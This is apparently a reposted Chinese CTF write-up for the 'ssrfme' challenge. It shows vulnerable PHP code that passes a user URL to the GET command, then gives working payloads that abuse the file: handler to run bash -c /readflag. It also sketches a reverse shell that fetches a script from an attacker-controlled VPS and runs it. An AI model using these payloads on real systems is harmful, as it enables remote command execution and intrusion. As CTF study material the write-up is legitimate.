ssrfme 復現


這道題搞了我很長時間,主要太菜了,開始復現吧

<?php 
    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); 
    @mkdir($sandbox); 
    @chdir($sandbox); 

    $data = shell_exec("GET " . escapeshellarg($_GET["url"])); 
    $info = pathinfo($_GET["filename"]); 
    $dir  = str_replace(".", "", basename($info["dirname"])); 
    @mkdir($dir); 
    @chdir($dir); 
    @file_put_contents(basename($info["basename"]), $data); 
    highlight_file(__FILE__); 

源碼大概意思就是先創建一個關於ip的文件夾,然后執行exce 然后寫入文件,就怎么簡單

看了各種大佬的復現,我才勉強搞懂了

在這里可以直接遍歷文件url=/ 然后filename就是輸出后的文件

看到兩個,但是不能直接讀出來的。先要學習個姿勢

所以我就理解成GET "file:{命令}|"  但是 這個命令必須bash -c

所以就有了url=file:bash%20-c%20/readflag|&filename=1111

還有一種方法就是 既然能命令執行就能反彈shell嘛

?url=http://yourvps/&filename=a
?url=&filename=bash a|
?url=file:bash a|&filename=xxx


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM